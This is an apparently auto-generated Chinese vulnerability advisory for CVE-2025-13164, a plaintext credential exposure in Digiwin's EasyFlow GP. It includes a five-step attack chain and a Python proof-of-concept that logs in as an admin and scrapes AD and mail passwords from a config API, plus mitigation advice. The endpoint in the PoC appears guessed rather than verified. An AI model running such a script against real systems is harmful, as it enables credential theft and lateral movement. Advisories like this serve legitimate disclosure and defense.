IPBUF安全漏洞报告
English
CVE-2025-13164 CVSS 4.9 中危

CVE-2025-13164 EasyFlow GP 凭证保护不足漏洞

披露日期: 2025-11-17

漏洞信息

漏洞编号
CVE-2025-13164
漏洞类型
凭证保护不足
CVSS评分
4.9 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
EasyFlow GP (Digiwin)

相关标签

凭证保护不足信息泄露EasyFlow GPDigiwin工作流系统AD凭证泄露

漏洞概述

CVE-2025-13164是台湾鼎新电脑(Digiwin)开发的EasyFlow GP工作流系统中的一个凭证保护不足漏洞。该漏洞允许具有高权限的远程攻击者从系统前端获取Active Directory(AD)账号和系统邮件的明文凭证。CVSS评分为4.9,属于中等严重程度。漏洞源于系统在前端页面或API响应中直接暴露了敏感凭证信息,攻击者只需通过正常访问系统界面的方式即可获取这些明文凭证。由于EasyFlow GP通常部署在企业内部网络中用于审批流程管理,泄露的AD凭证可能被用于横向移动,进一步渗透企业核心系统。漏洞发现者为台湾CERT([email protected]),披露日期为2025年11月17日。

技术细节

EasyFlow GP在处理用户认证和系统配置时,存在前端凭证明文暴露问题。系统将Active Directory集成认证的账号密码以及系统邮件服务的认证凭证明文存储在前端页面或API响应中。攻击者作为高权限用户登录系统后,可通过访问特定的管理页面或API端点获取这些明文凭证。攻击利用过程相对简单,无需特殊工具或技术手段。攻击者利用获取的AD凭证可登录域控或其他内部系统,而邮件凭证可用于窃取敏感通信内容或进行钓鱼攻击。该漏洞的CVSS向量为CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N,表明通过网络攻击、需要高权限、无需用户交互、对机密性有高影响但不影响完整性和可用性。

攻击链分析

STEP 1
步骤1
攻击者获取EasyFlow GP系统的高权限账号,或利用已有账号登录系统
STEP 2
步骤2
攻击者访问系统管理页面或API接口,查找暴露凭证的前端页面
STEP 3
步骤3
通过浏览器开发者工具或拦截HTTP响应,获取明文存储的AD账号密码
STEP 4
步骤4
使用获取的AD凭证登录域控制器或相关内部系统
STEP 5
步骤5
攻击者横向移动至企业核心系统,进一步扩大攻击范围

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-13164 PoC - EasyFlow GP Credential Exposure # Description: EasyFlow GP exposes AD and mail credentials in plaintext via frontend import requests import re target_url = "http://target-easyflow-gp.com" # Step 1: Login as privileged user login_url = f"{target_url}/login" credentials = { "username": "admin", "password": "password" } session = requests.Session() response = session.post(login_url, data=credentials) # Step 2: Access admin page or API endpoint that exposes credentials admin_url = f"{target_url}/api/system/config" response = session.get(admin_url) # Step 3: Extract plaintext credentials from response if response.status_code == 200: # Look for credential patterns in response ad_creds = re.findall(r'ad_username[":\s]+([^,"}]+)', response.text) ad_passwords = re.findall(r'ad_password[":\s]+([^,"}]+)', response.text) mail_creds = re.findall(r'mail_username[":\s]+([^,"}]+)', response.text) mail_passwords = re.findall(r'mail_password[":\s]+([^,"}]+)', response.text) print("Exposed AD Credentials:") for u, p in zip(ad_creds, ad_passwords): print(f" Username: {u}, Password: {p}") print("Exposed Mail Credentials:") for u, p in zip(mail_creds, mail_passwords): print(f" Username: {u}, Password: {p}")

影响范围

EasyFlow GP (Digiwin) - 所有未修复版本

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1)限制EasyFlow GP的网络访问范围,仅允许受信任的IP访问管理后台;2)启用双因素认证增强账号安全;3)监控和审计管理员账号的访问日志;4)对AD账号实施最小权限原则,限制服务账号的权限范围;5)考虑临时禁用非必要的AD集成功能。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表